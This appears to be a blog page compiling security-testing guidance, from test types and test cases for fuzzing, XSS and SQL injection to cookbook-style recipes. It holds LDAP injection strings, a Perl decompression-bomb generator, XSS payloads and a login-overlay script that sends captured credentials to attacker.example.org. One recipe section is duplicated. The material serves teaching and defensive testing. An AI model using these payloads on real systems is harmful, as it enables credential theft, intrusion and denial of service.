Security Testing - Types

Thinking about the different types of Security testings that we can do and also classifying them into the right buckets is very important.To summarise them Black box Testing ( Pen Testing)
  • Little or no information is provided about the target
  • Testing techniques start with looking for specific vulnerability signs but quickly moves into unscripted exploitation , trial & error
  • Testing focusses on manipulating inputs and evaluating the responses
  • A form of reverse engineering of exposed functionality
White box or Crystal box testing ( Not Pen Testing)
  • Includes security focussed testing like - Source code reviews, authenticated vulnerability assessments & configuration audits
  • More of a scripted test looking for specific items
Grey box Testing ( Optimised Pen testing
  • Testing that uses black box techniques with greater visibility and/or access to the application to optimise testing

Release goals for Security testing

1. Secure by Default

Validate that the product is secure in its default configuration. For this, install the product and configure the product with the default settings. Then perform the appropriate security penetration tests to verify the product is as secure as possible. Afterwards, un-pup the site (either the solution site or the CSharp site) with the default settings, and again perform the security penetration tests to verify the site and its components are as secure as possible. Lastly, configure the SQL roles and user accounts with the security configuration wizard and validate that the product is fully locked down. This step needs to be performed on a single box configuration as well as the secure deployment.

2. Secure by Design

Validate that the product design indeed incorporated security-best practices. Verify that the thread model was adhered to religiously throughout the product life-cycle, and the principle of least privilege and separation of privilege is followed throughout the product.

3. Secure in Deployment

Verify that in deployment, the product can be kept secure, and that the appropriate tools and measures are in place for the customer to diagnose and audit security related issues.

4. Frequency of Security Testing

Perform the security penetration test cases once on a single-box configuration (for both the default configuration and a locked-down configuration) for at least one sprint. For subsequent sprints you can use different configurations

5. Reporting

Threats and vulnerabilities should be logged as bugs. Any security threats that can cause a crash will should be investigated immediately. By most accounts, elevation of privilege is a lot more important than a crash. Anonymous attacks are more important than authenticated ones, and remote attacks trump local ones. So, remote unauthenticated elevation of privilege should be #1 concern. Local authenticated crash is always the lowest on the totem pole. This way you will need to  prioritize the attacks.

Fuzz testing

Fuzz testing a simple technique for feeding random input to applications. There are two types of fuzz testing categories:

1. Completely random data

2. Partially incorrect data

Random data is a series of arbitrary bytes sent to the interface that is then read by the interface. Partially incorrect data is data that is accurately formed but that might contain invalid values.

Fuzz testing has the following additional characteristics:

1. If the application crashes or hangs, it is considered to fail the test, otherwise it passes. Note that the application does not have to respond in a sensible manner to the input, and it can even quietly exit.

2. Fuzz testing can be automated to a high degree and results can be compared across applications, operating systems, and vendors. There are plenty of tools that exist to perform automated fuzz testing.

Test Cases

1. Perform random data fuzz testing on web service APIs simultaneously. Use a valid body but random data values. Validate that no application crashes. Use of XML fuzzers can help.

2. For the other web services, send boundary condition values (i.e. -1), various Unicode settings, un-escaped and escaped XML entities, type mismatches (i.e. int instead of string), out-of-range data, malformed fragments (i.e. content length says 2K but is really 1K), extraneous headers, binary garbage, extremely large/small payloads, case variations, extra SOAP headers, nonexistent SOAP methods, using too many methods in SOAP method, too few parameters in SOAP methods.

3. Perform code coverage of the input validation code.

Buffer Overflow

Buffer overflows happen when more data is put into a buffer or holding area than the buffer can handle. This is due to a mismatch in processing rates between the producing and consuming processes. This can result in system crashes or the creation of a back door leading to system access. However, attention should be paid to “data-based” buffer overflows, those occurring at the database level due to inconsistencies between the various feature areas.

Test Cases

1. Investigate the design-time and corresponding run-time feature areas for inconsistencies in data length. For instance, create a profile through the runtime and set all the properties to the maximum possible values. Attempt to obtain this profile through the web service, and then save it. Verify there is no data-truncation. Apply this mechanism to all the various feature area dependencies as appropriate.

2. Through the web services, set various properties to binary blobs. Verify there is no data truncation in the database.

3. Pass high integer values where numeric data is expected. Attempt this on 32-bit and 64-bit architecture.

4. On the runtime, create a profile with each property maximized, and numeric data maximized. Attempt this on 32-bit and 64-bit architecture.

5. Due to possibility of integer overflows, pay particular attention to buffer arithmetic done with signed numbers. Unsigned arithmetic provides much better mitigation against attacks.

Denial of Service

Denial-of-service attacks, some of the most difficult attacks to protect against, are characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. Common denial-of-service attacks include the following:

· Application crash

· CPU starvation

· Memory starvation

· Resource starvation

· Network bandwidth attacks

Out of the categories identified, CPU starvation, memory starvation, resource starvation, and network bandwidth attacks will be tested during the end-to-end stress runs. Thus, we will focus the test cases on application crash denial of service attacks.

Test Cases

1. Perform fuzz testing in an attempt to crash an application component.

2. Identify web service and runtime API that take an input that will cause a server exception. Then repeatedly call the method in a loop, in an attempt to starve the CPU, memory, or a server resource.

3. Generate load by simulating concurrent usage of all the web services, as well as the runtime site. Analyze the server and look for components that allocate large amount of memory. This can be done during the stress testing.

4. Repeatedly refresh the Server caches to look for potential for denial of service threat.

5. In the IIS log files, insert problematic characters, smartly crafted bad input, and really long URL strings. Run the log import DTS task, and look for possible denial of service or information disclosure threats.

6. Send large XML blobs to all web service API in continuous fashion (in a loop or multithreaded environment). Send really small XML blobs to the API in continuous fashion. When testing XML entry points, we can try DTD expansion attacks.

7. In an XML blob, alter the XML so it does an external namespace lookup. Attempt to crash the application leveraging this.

8. In addition, try “algorithm adversary” attacks – feeding data in a way that chokes the algorithm. For instance, binary trees are subject to disordering attacks (making the tree degenerate into a linked list), but balanced trees are not.

Canonicalization

Canonicalization mistakes are caused when your application makes a security decision based on a name (such as a filename, a directory name, or a URL) and more than one representation of the resource name exists, which can lead to the security check being bypassed.

Test Cases

1. For all vulnerable API, attempt to read/write files using the following variations: “FileName::$DATA” and “File~Name.txt”

2. Attempt to read/write a file by using parent paths (i.e. /../../autoexec.bat).

3. Use hexadecimal escape codes (i.e. %20, the space character) to represent characters in an attempt to read/write a file.

4. Use UTF-8 variable-width encoding to read/write a file. UTF-8 variable encoding allows one character to potentially map to multiple-byte representations, and thus can be problematic. For instance, use %c0%af (which stands for //) to read/write a file.

5. Use UCS-2 Unicode encoding and double encoding

6. Use HTML escape codes (i.e. < and >) to read/write a file from a web page (if applicable).

7. Pass a really long file name in an attempt to read/write a file.

Analyze the data management layer for code that inputs file paths and explore for canonicalization mistakes

Cross site scripting - XSS

Cross site scripting occurs when a web application gathers raw malicious data from a user. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website.

Test Cases

1. Set every field, header, and parameter for all web services to the following script: “><script>alert(window.location);</script>.” Also, add one carriage return to the input at the beginning to see if the methods are able to scan multiple lines of the input. Call each web method through a web page. If a dialog appears in the browser, then there is a possible cross-site scripting bug.

2. On the runtime site, create a basket. Set the basket name to be “<script>alert(document.cookie)</script>.” Create a web page that calls AcceptBasket on the orders web service to obtain the created basket. If the alert window appears, then there may be a possible cross-site scripting vulnerability.

3. In the marketing system, create a promo code by setting the name to “<script>alert(document.cookie)</script>.” On the runtime, run the pipeline to obtain the promo code record in the site. Display the name of the record.

4. In the catalog system, create a product and set the name to “<script>alert(document.cookie)</script>.” On the runtime, display the product.

5. On the runtime, create a profile by setting all properties to “<script>alert(document.cookie)</script>.” Create an order address using this profile and submit the order. Obtain the profile using the profile web service using a web browser.

SQL Injection

SQL injection is a vulnerability in which user input is used to make an application run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises.

Most of the subsystem API is not acceptable to SQL injection attacks because dynamic SQL is not created. However, the management search API, included in marketing, orders, profiles, and catalog, should be further investigated anyways for possible SQL injection vulnerabilities. Search API’s are also very susceptible.

Test Cases

1. Some of the web services use XML to specify search clause using the search clause builder API. Use SQL Profiler to observe how the queries are created, and adjust the user input as appropriate to look for possible SQL injection vulnerabilities.

2. Investigate development code and look for places where SQL is dynamically generated. There should be no code dynamically building SQL.

3. Pass the % character as user input to see if it is possible to retrieve additional data. The % character may expose possible information disclosure threats which can lead to possible elevation of privilege threats. Also test using the “[“ and “_” characters.

4. On the runtime, apply SQL injection tests component keys.

End to End Security testing

End-to-end security testing, also referred to as end-to-end security penetration testing, describes security testing with all the application components integrated together. Security penetration testing addresses how hackers would try to break into the system. This testing includes:

· Addressing the security issues that appear when components are integrated and end-2-end scenarios is targeted. This testing is focused on integration points, and looking for vulnerabilities created by incorrect assumptions made about each other.

· Accessing the attack surface and identifying all potential points of direct entry into the application.

· Fuzz testing and fault injection on end-2-end scenarios using smartly crafted bad input, deliberately causing various dependencies to fail, disappear, lie, duplicate etc.

· Denial of service attacks: targeting scenarios which may cause exhaustion of system resources (like CPU, memory, network, kernel objects) and custom resources (like shopping baskets). Sometimes good algorithms fall on their faces when fed “exactly incorrect” data. We will look out for these too.

· Client server issues: session hijacking, spoofing, replay of authenticators.

· Man-in-the-middle attacks, eavesdropping, and data tampering

· Input validation on integration scenarios – SQL injection, cross-site scripting, and name canonicalization tests.

· Verifying that the application’s default configuration is the most secure.

· Verifying that the principle of least privilege and separation of privilege is adhered to in the end-to-end scenario. We will also consider social engineering issues and their potential impact.

· Review all uses of cryptography (algorithms, key management).

Secure deployment testing

1    Verifying that the deployment process is functionally correct
2    Making sure that the secure deployment documentation is correct and provides best security practices.
3    Validating the permissions and rights required for the different servers and user roles, business users, visitors, editors, publishers, and administrators. This includes:
    Secure ACLs on configuration files, registry keys, temporary files, named pipes, murexes and all other securable objects.
    Correct configuration of database roles, stored procedures, and service/application accounts
    Looking for components running by default when they shouldn’t be
    Investigating network ports. Verify IDL files for correctness.
    Sensitive data is not exposed in logs, event viewer, remote error messages, traces, and registry keys
    Ensure failures are graceful, default system state is access denied (instead of all access) and no critical information is leaked out to client/remote caller.
4    Verify the lockdown templates/settings representing common “server roles” that the product is used in
5    Verifying that the least privilege principle is followed.
6    Verify that the separation of privilege principle is followed.

Component Level Security Testing

Component level security testing, also referred to as feature area level security testing, describes security testing isolated by the feature area

Threat Model
    Test the threat model; each threat bug which is fixed must have a test verifying the mitigation. Ensure there is a test case for each threat (automated or manual).
    Gain a thorough understanding of threat model for your component and the security model for the product.

Secure Default Configuration
    Create test cases that ensure that default configuration is secure.
    Think about the ACLs required on various artifacts
    Think about the application, service, and database roles required
    Validate that sensitive error messages are secure

Authorization Manager
    Verify that the roles are functionally correct.
    Call each sensitive API for each out-of-box role
    Create customized roles for the sensitive API, focusing on the most powerful permissions
    Think of ways you can bypass Authorization manager (AzMan) checks

Input Validation
    Buffer overflows
    SQL Injection
    Cross-site Scripting
    Filename Canonicalization (all paths (XPath queries. Registry. Etc.) must be properly handled)
    Input Length (as appropriate)

Minimal Privilege
    Attempt to run tests in the least privilege configuration
    Use a non-admin account on dev machine while running tests
    Verify that various tasks are not feasible if an account with lesser privilege than the minimum specified is used.

Concurrency
    Determine if it is possible to exploit race conditions
    Think about caching and timing related issues.
    Test security relevant operations alternately expecting failure & success using 1 thread, and using multiple threads
    Time of check and time of use issues; see if missing atomicity can be exploited to bypass security enforcement.

Fuzz Testing
    Pass garbage into inputs
    Pass partially correct data into inputs, but containing garbage values (develop file and network fuzzers for all protocols and file formats)

Code Access Security
    New type of security in the .Net Framework
    Controls application authorization
    Concepts: Evidence, Permission Sets, and Code Groups
    Verify that Internet based client-side applications do not need full trust

What is security testing?

It is important to note that security testing is very different from functional testing. Functional testing determines whether a piece of software does what it is supposed to do. Security testing attempts to confirm that a piece of software does what it is supposed to do and nothing else. Needless to say, this is a much larger space to test.

There are three primary categories of security testing:

1. Component level security testing

2. Secure deployment testing

3. End-to-end security penetration testing

Attempting LDAP Injection Interactively

Problem
Many applications use the Lightweight Directory Access Protocol (LDAP) for managing credentials and authenticating users. If an application does not carefully handle user input before adding it to LDAP queries, a malicious user can modify query logic to authenticate herself without knowing any credentials, get access to sensitive information, and even add or delete content.
Solution
To test for LDAP injection, enter the following in input fields suspected to be used in LDAP queries and watch for unusual responses from the server. An unusual response may be a random user record, a list of all users, and so on. If such an unusual response is received, then the application is vulnerable to LDAP injection.

*
*)((cn=*
*)((cn=*)
*)((cn=*))
normalInput
)((cn=*
normalInput
)((cn=*)
normalInput
)((cn=*))

To attempt LDAP injection during user authentication, attempt to enter the strings as the username and/or password where normalInput should be replaced with something legitimate (a valid username/password). Also, attempt entering a real username in the system along with one of the strings as the password, and attempt entering a real password in the system along with one of the strings as the username.
Discussion
With LDAP injection, an attacker's goal involves either authenticating without credentials or getting access to sensitive information. This involves guessing what the underlying LDAP query looks like and then injecting specially crafted input to change its logic.
Example 1. Sample LDAP query for searching by username and password
(&(cn=userName)(password=userPassword))
If the application executes the above query and assumes that the user is authenticated if the query returns at least one record, then the attacker could authenticate without a username or password if he enters * as the username and the password.
Note that an attacker can leverage LDAP injection in many different ways. For example, consider what could happen when the application executes the query shown in Example 2 and then checks the password in the returned record to authenticate a user.
Example 2. Sample LDAP query for searching by username only
(&(cn=userName)(type=Users))
The application may contain account lockout functionality such that after three consecutive invalid login attempts, it locks out the user account as a security measure. Consider what happens when the attacker enters userName)(password=guess as the username and guess as the password. The LDAP query becomes (&(cn=userName)(password=guess)(type=Users)) and will return a record if and only if the password for user userName is guess. As far as the application is concerned, if no record is returned, the username entered by the attacker is invalid, and so, there is no account to lock out. Once the attacker guesses the correct password, she is authenticated successfully. Thus, the attacker effectively subverts the account lockout mechanism and can brute-force passwords.
This book's authors have seen a real application susceptible to LDAP injection where an attacker could enter * as the username and any valid password in the system to successfully authenticate in the application. Entering * as the username would return all records in the LDAP store, and the application detecting that multiple records were returned would check the password entered by the attacker against every single one of the returned records and would authenticate the user if a match occurred in any record! The security of the application was thus reduced to the attacker's ability to guess the weakest password in the system.
In general, when testing for LDAP injection interactively, it is helpful to monitor the actual queries being generated by the application to tune the attack to the particular application. There are several ways in which this can be done. If SSL is not being used to protect communication between the application and the LDAP server, a network sniffer can be used to view the application's queries as well as the LDAP server's responses. The application's logs or LDAP server logs are also places where the generated queries might be available.

Creating Decompression Bombs

Problem
A decompression bomb is a compressed file that is very small but expands to a disproportionately large amount of data. We shall discuss how such decompression bombs can be created. If your application processes compressed files (.zip, .jar, .tar.gz, .tar.bz2, etc.), you can use this to generate pathological compressed files that can be used to ensure that your application handles such malicious input gracefully.
Solution
The program in Example 1 will generate a zip of death. You can substitute other compression utilities instead of zip to create other types of decompression bombs (e.g., bzip2).
Example 1. Perl script to create decompression bomb
#!/usr/bin/perl
use File::Copy;
$width = 17;
$depth = 6;
$tempdir = '/tmp/dec_bomb';
$filename = '0.txt';
$zipfile = 'bomb.zip';
chdir($tempdir) or die "unable to change directory to $tempdir $!";;
createInitialFile();
createDecompressionBomb();
sub createInitialFile {
my $file = $filename;
my $i = 0;
open FILE, ">$file" or die "unable to open $file $!";
# The largest file that current versions of 'zip' will compress is 4GB (minus 1 byte)
for ($i = 0; $i < (1024*4)-1; $i++) {
print FILE '1'x1048576;
}
print FILE '1'x1048575;
close FILE;
`zip -rmj9 $depth-0.zip $filename`}
sub createDecompressionBomb {
my $d = 0;
my $w = 0;
for ($d = $depth; $d > 0; $d--) {
if ($d < $depth) {
`zip -rmj9 $d-0.zip *.zip`;}
for ($w = 1; $w < $width; $w++) {
copy($d . '-0.zip', $d . '-' . $w . '.zip') or die "unable to copy file $!";}
}
}
`zip -rmj9 $zipfile *.zip`;

Discussion
You can easily create decompression bombs of arbitrary sizes even if you do not have that amount of storage available yourself. This script only requires sufficient storage for one file of size 4 gigabytes, as well as one file of size 4 megabytes while it runs, whereas if one were to decompress the entire archive, it would decompress to 96,550 terabytes. That ought to be sufficient to fill up the disk space on any server.
You should be careful about where you create the decompression bomb. Since it is meant to crash programs such as virus scanners, you can easily crash such programs on your own system and maybe even make your system unresponsive. You should obviously not try to decompress the file yourself.
The script in Example 1 takes a few minutes to run with the given $depth and $width. Be careful about increasing the values; the size of the decompression bomb increases very quickly. Since the default values will fill up the disk space on any server if the archive is fully extracted, it should not be necessary to increase these values. It would be more beneficial to reduce the values to say $depth=5 and $width=2 to create an archive that would expand to 128 gigabytes. On a server with more than 128 gigabytes of available disk space, that will ensure that if your application is vulnerable to decompression bomb attacks, it will slow to a crawl, but will not crash. Thus, the test will be less destructive.
If upon uploading a decompression bomb the application slows to a crawl or becomes unresponsive, it fails the test and is vulnerable to decompression bomb attacks.

Brute-Force Guessing Usernames and Passwords

Problem
Unless an application contains account lockout functionality, an attacker can attempt to log in by brute-force guessing common usernames and passwords. This typically involves brute-force guessing to find a list of valid usernames and then attempting to brute-force passwords.
Solution
The goal is to test whether an attacker can obtain some valid usernames in the application and whether he can continually guess passwords until he gets one right. Attempt the following to determine whether the application intentionally or unintentionally reveals usernames:
Attempt to log in with a username that does not exist. Then, attempt to log in with a username that does exist, but enter an incorrect password. If the application's response in the two cases is different, then the attacker can enumerate usernames in the system.
If the application implements password reset functionality for users that forget their passwords, determine how the password reset functionality works. Does it require the user to enter a username? If so, determine whether the application responds differently depending on whether a valid or invalid username is entered.
Some applications contain functionality to allow users to sign up for accounts themselves. Since usernames need to be unique, the application will indicate to the end user whether the username that she is trying to sign up for already exists. This functionality could be exploited by an attacker to enumerate usernames. Determine whether the application contains such functionality.
If in any of these tests the application allows the attacker to determine valid usernames, the application fails this part of the test. This may or may not be of interest in your particular application. However, if the next test fails, then the failure will definitely be of interest.
The next step is determining whether the application allows brute-forcing passwords. Even if the attacker cannot conclusively get a valid list of usernames, he could still attempt to brute-force passwords for common usernames that may or may not be valid in the application (e.g., jsmith). Attempt one of the following depending on your circumstances:
If there is a requirement concerning account lockout functionality, test it by entering an incorrect password for a valid username several times (as dictated by the requirement) and determine whether the account is locked out by entering the same username with the corresponding valid password. Also, if the account is locked out, determine whether the application provides the same response regardless of whether the entered password is correct. If after account lockout it provides different responses depending on whether the password is correct or not, the attacker can still brute-force the password. However, he will not be able to actually log in until the account is unlocked.
If there is no requirement concerning account lockout functionality, determine whether account lockouts are enforced by entering an incorrect password for a valid user account a number of times (10 to 15 times should be sufficient). Then, enter the valid password and see if the account is locked out. As in the previous test, even if the account is locked out, determine whether the application's response is different depending on whether the entered password is correct or not.
The application fails this test if it either does not enforce account lockout functionality, or locks out accounts and then provides different responses depending on whether the entered password is correct or not.
Discussion
Usernames and passwords are frequently brute-forceable even in the presence of account lockout functionality or other mitigating measures. Applications often try to be helpful and provide different error messages to users depending on whether the supplied username is incorrect or the supplied password is incorrect. This is often true even after an account gets locked out. The authors have seen an application that displayed error messages similar to the following. If the username was incorrect, the application stated that "The username or password is incorrect"; if the password was incorrect, the user would get the message "The user could not be authenticated"; if the account was locked out and the password was correct, the user would get a message stating "Your account has been locked out." This provides an easy way to brute-force usernames and passwords.
In the earlier example, an attacker could enumerate usernames by entering different values and recording whether the application stated that "The username or password is incorrect" or "The user could not be authenticated." The attacker could then brute-force the password by waiting to either get logged in or get the message "Your account has been locked out." Even if the attacker locks out an account while brute-forcing, he will just need to wait until the account is unlocked before accessing it. Many applications unlock accounts automatically after a predetermined amount of time.Note that it is typically easy for attackers to guess at least a small number of usernames and passwords in most systems. This is because usernames tend to be predictable, and many users tend to choose very weak passwords

Attempting Cross-Site Tracing Interactively

Problem
One protection against XSS attacks implemented by some browsers is the HttpOnly attribute in cookies. If a cookie has this attribute set, the browser will not let any JavaScript code access the cookie. Thus, attempts to steal the cookie as discussed earlier will fail. However, if the target web server supports the TRACE operation, then an attacker can still steal the cookie. Therefore, if your application generates cookies with the HttpOnly attribute set as a protection against cookie theft, it is essential that you test for this potential vulnerability.
Solution
At the command line, type: telnet host port where host and port are the hostname and the TCP port number of the web server being tested. Then, type the code shown in example 1.
Example 1. Testing for XST using telnet
TRACE / HTTP/1.1
Host:host:port
X-Header: This is a test

Ensure that you press Enter twice after entering these lines. If the server responds with something such as shown in Example 2, then cross-site tracing is possible on the target web server.
Example 2. Sample response when server is vulnerable to XST

HTTP/1.1 200 OK
Date: Sun, 27 Jul 2008 03:49:19 GMT
Server: Apache/2.2.8 (Win32)
Transfer-Encoding: chunked
Content-Type: message/http

44
TRACE / HTTP/1.1
Host:host:port
X-Header: This is a test
0

If, on the other hand, the server responds with something like what is shown in Example 3 then it is not vulnerable to XST.
Example 3. Sample response when server is not vulnerable to XST

HTTP/1.1 405 Method Not Allowed
Date: Sun, 27 Jul 2008 03:54:48 GMT
Server: Apache/2.2.8 (Win32)
Allow:
Content-Length: 223
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head><title>405 Method Not Allowed</title> </head><body><h1>Method Not Allowed</h1><p>The requested method TRACE is not allowed for the URL /.</p></body></html>

Discussion
Cross-site tracing is a technique that can be used to bypass HttpOnly protection in cookies. The TRACE HTTP method is useful for debugging purposes, but is typically left on by default in many web servers. A TRACE request to a web server simply echoes back the request to the caller. When the caller (browser) has a cookie for the target site, it sends the cookie along with the request. The cookie is then echoed back by the web server in the response.
Suppose an attacker cannot execute the attack described earlier on a site vulnerable to XSS because the HttpOnly attribute is set on the cookie. The attacker can instead generate a script where he can replace the GET in the XmlHttpRequest.open() function call with TRACE. Then, he can parse the cookie out of the server's response. Of course, this requires the site to be vulnerable to cross-site scripting as well as to cross-site tracing. The TRACE method being left enabled is not necessarily a vulnerability in itself; the attacker needs to be able to insert JavaScript code into a vulnerable page to be able to make requests to the target server from the victim's browser and read the responses.
Note that even if your application is not vulnerable to XST and the attacker cannot steal the cookie, it only makes the simplest XSS attack impossible; it does not mitigate XSS.
NOTE
This test should be executed in your operational environment or on staging servers that replicate the production environment's configuration. This is a configuration issue that needs to be addressed during deployment, so testing servers in the development or QA environments will not provide accurate results for the production environment.

Bypassing Field Length Restrictions (XSS)

Problem
In the target application, you may find an input field that could be vulnerable to stored XSS, but the server truncates the input to a number of characters that seems insufficient to carry out a meaningful XSS attack. This restriction can be bypassed by using JavaScript comment delimiters appropriately.
Solution
The strings Example 1 combine to be a cross-site scripting attack if they are all concatenated together. Although none of them is an attack in its own right, they are all pieces of a standard, basic XSS attack string.
Example 1. Using JavaScript comments to bypass field length restrictions


<script>/*

*/alert(/*

*/"XSS")/*

*/</script>



Also, try inserting the sequence in reverse order.
This will work in several scenarios. It will work when there are multiple length-restricted fields that are concatenated together with some punctuation or HTML tags in between. It will also work when multiple instances of the same input field are displayed on the same page. The author has seen several examples in real applications where a list of status codes, for example, are displayed on a page. The status codes are provided by an end user and are not checked at all. The status codes are displayed in a table defined in HTML like that shown in Example 2.
Example 2. Sample application output where status code length is restricted by server

...

<tr><td>statusCode1

</td></tr>

<tr><td>

statusCode2

</td></tr>

...


Example 3 shows the resulting script from Example 2.
Example 3. Sample HTML output after using JavaScript comments appropriately

<tr><td><script>

/*</td></tr><tr><td>*/

alert(

/*</td></tr><tr><td>*/

"XSS")

/*</td></tr><tr><td>*/

</script></td></tr>


In most browsers, including Internet Explorer 7 and Mozilla Firefox 3.0, this is equivalent: alert("XSS").
As with other similar XSS tests, the application is vulnerable if you see an alert box pop up as a result of injecting your input.

Discussion
In scenarios where the server restricts the length of an input field but fails to perform proper input validation or output encoding, sequences such as example 1 can be used to inject JavaScript into the page. The cases where this attack would work include those where the inputs from the attacker are all displayed on a single page (in a table, for example). Anything between the /* and */ delimiters is treated as a comment, and thus, any HTML code that the site inserts between the attacker's inputs is commented out.
We will not discuss in depth the exact locations where comments are allowed in JavaScript, because the answer is implementation-dependent. Internet Explorer 7, for example, allows comments in many more locations than Mozilla Firefox 3.0. Some experimentation may be required to get the attack to work.

Making HTTP Requests Using XSS

Problem
One of the most powerful tools available to an attacker building an XSS exploit is being able to generate requests to the target website from the victim's browser and being able to read the responses. This recipe will discuss how you can use JavaScript to make requests to the target website from the victim's browser
Solution
Create a JavaScript file containing the script in Example 1 and make it accessible at http://attacker.example.org/make_http_request.js (wherever your attack server is), and then insert it into the vulnerable page using the technique described in Example 2.
Example 1. JavaScript for making HTTP request
var xmlhttpreq; if(window.XMLHttpRequest){
/* Most browsers use a XMLHttpRequest object for making AJAX Requests */ xmlhttpreq=new XMLHttpRequest();
}
else if(window.ActiveXObject){
/* Internet Explorer uses ActiveXObject for making AJAX Requests */
xmlhttpreq=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttpreq.open("GET","http://www.example.com/do_something",false);
if (window.XMLHttpRequest) { xmlhttpreq.send(null);
} else {
xmlhttpreq.send();
}
/* The server's response is stored in the variable 'response' */
var response = xmlhttpreq.responseText;
Discussion
Example 1 will submit a request to the target website from the victim's browser, and the response will be stored in the variable response where it can be parsed using JavaScript and the information contained in it can either be sent to the attacker as in the previous two recipes or used in subsequent requests made to the target website. For example, if an attacker finds an XSS vulnerability in an online banking website, the attacker could write JavaScript code to submit a request to the site, parse the account numbers from the response, and use them to initiate a transfer to the attacker's bank account.
This attack works because the victim's browser submits the user's session cookie to the vulnerable website along with each request to the website. The vulnerable website authenticates each request by verifying the user's session cookie and cannot differentiate between requests initiated by the legitimate user and requests generated using the attacker's JavaScript code.This attack only works when the target website is vulnerable to XSS. Although it is possible to submit requests to any website via CSRF attacks, the server's responses and leveraging the information in the responses is only possible when the target is vulnerable to XSS. This is because web browsers enforce a "same origin policy" that only allows AJAX requests to be made to the website that the user is visiting. Using this technique, the attacker's script can mimic any actions that the legitimate user can perform

Making HTTP Requests Using XSS

Problem

One of the most powerful tools available to an attacker building an XSS exploit is being able to generate requests to the target website from the victim's browser and being able to read the responses. This recipe will discuss how you can use JavaScript to make requests to the target website from the victim's browser

Solution

Create a JavaScript file containing the script in Example 1 and make it accessible at http://attacker.example.org/make_http_request.js (wherever your attack server is), and then insert it into the vulnerable page using the technique described in Example 2.

Example 1. JavaScript for making HTTP request
var xmlhttpreq;

if(window.XMLHttpRequest){
/* Most browsers use a XMLHttpRequest object for making
AJAX Requests */
xmlhttpreq=new XMLHttpRequest();
}
else if(window.ActiveXObject){
/* Internet Explorer uses ActiveXObject for making
AJAX Requests */
xmlhttpreq=new ActiveXObject("Microsoft.XMLHTTP");
}

xmlhttpreq.open("GET","http://www.example.com/do_something",false);

if (window.XMLHttpRequest) {
xmlhttpreq.send(null);
} else {
xmlhttpreq.send();
}

/* The server's response is stored in the variable 'response' */
var response = xmlhttpreq.responseText;


Discussion


Example 1 will submit a request to the target website from the victim's browser, and the response will be stored in the variable response where it can be parsed using JavaScript and the information contained in it can either be sent to the attacker as in the previous two recipes or used in subsequent requests made to the target website. For example, if an attacker finds an XSS vulnerability in an online banking website, the attacker could write JavaScript code to submit a request to the site, parse the account numbers from the response, and use them to initiate a transfer to the attacker's bank account.This attack works because the victim's browser submits the user's session cookie to the vulnerable website along with each request to the website. The vulnerable website authenticates each request by verifying the user's session cookie and cannot differentiate between requests initiated by the legitimate user and requests generated using the attacker's JavaScript code.This attack only works when the target website is vulnerable to XSS. Although it is possible to submit requests to any website via CSRF attacks, the server's responses and leveraging the information in the responses is only possible when the target is vulnerable to XSS. This is because web browsers enforce a "same origin policy" that only allows AJAX requests to be made to the website that the user is visiting. Using this technique, the attacker's script can mimic any actions that the legitimate user can perform.

Creating Overlays Using XSS

Problem :

How to create an attack that uses XSS in creating overlays on the target website such that the victim users believe that they are on the intended website, but the view is in reality being controlled by the attacker. This attack exploits the victim's trust when viewing the intended website in the address bar in their browser

Solution:

To create complex attacks, it is much easier to create your scripts at a separate site (attacker.example.org) and then include them in the target site by injecting something such as the attack string shown below.

Inserting JavaScript file from another server

<script src="http://attacker.example.org/login_overlay.js"></script>

This is much easier (and less likely to make victims suspicious) than attempting to fit a one-page JavaScript exploit into one HTTP parameter. Create the script shown and make it accessible at http://attacker.example.org/login_overlay.js (or whatever your attack site's URL is).

JavaScript for creating overlay

var LoginBox;
function showLoginBox() {
  var oBody = document.getElementsByTagName("body").item(0);
       
  LoginBox = document.createElement("div");
  LoginBox.setAttribute('id', 'login_box');
  LoginBox.style.width = 400;
  LoginBox.style.height = 200;
  LoginBox.style.border='red solid 10px';
  LoginBox.style.top = 0;
  LoginBox.style.left = 0;
  LoginBox.style.position = "absolute";
  LoginBox.style.zindex = "100";
  LoginBox.style.backgroundColor = "#FFFFFF";
  LoginBox.style.display = "block";
  LoginBox.innerHTML =
    '<div><p>Please Log in</p>' +
    '<form action="#">' +
    'Username:<input name="username" type="text"/><br/>' +
    'Password:<input name="password" type="password"/><br/>' +
    '<input type="button" onclick="submit_form(this)" value="Login"/>' +
    '</form>' +
    '</div>';
  oBody.appendChild(LoginBox);
}     
       
function submit_form(f) {
LoginBox.innerHTML=
  '<img src="http://attacker.example.org/credentials_log?username=' +
    encodeURI(f.form.elements['username'].value) + '&password=' +
    encodeURI(f.form.elements['password'].value) + '" width="0" height="0"/>';
  LoginBox.style.display = "none";
}
       
showLoginBox();

Discussion

The file login_overlay.js can be as complex as needed. The second example is one of the building blocks for creating a convincing exploit. To actually carry out the exploit, a lot of additional JavaScript code would be required to perform other operations such as resizing and positioning the overlay depending on the browser's window size.

The JavaScript code in Example 2  will display a login box when the user first clicks on a link provided by the attacker. The login box created by this particular script may not be very convincing, but adjusting the fonts, colors, and other details to make it match the style of the target web application would make it convincing. The attacker's goal is to convince the user that she is looking at a real login page. The fact that the user sees the expected site in her address bar works in the attacker's favor. If the user enters her credentials into the login box, they are sent to attacker.example.org.

Protecting JavaScript with SSL

If the site is SSL-protected, then the JavaScript file should be hosted on a server that has a valid SSL certificate signed by a certificate authority trusted by the victim's browser. Otherwise, the victim's browser will warn him about the page containing some content served over HTTPS and some over plain HTTP. If the file is hosted on a server with a valid SSL certificate, then the victim's browser will show the typical padlock icon, further convincing the average user that he is safe and on the intended site.

www.CodeNirvana.in

Powered by Blogger.

Translate

Total Pageviews

Copyright © T R I A G E D T E S T E R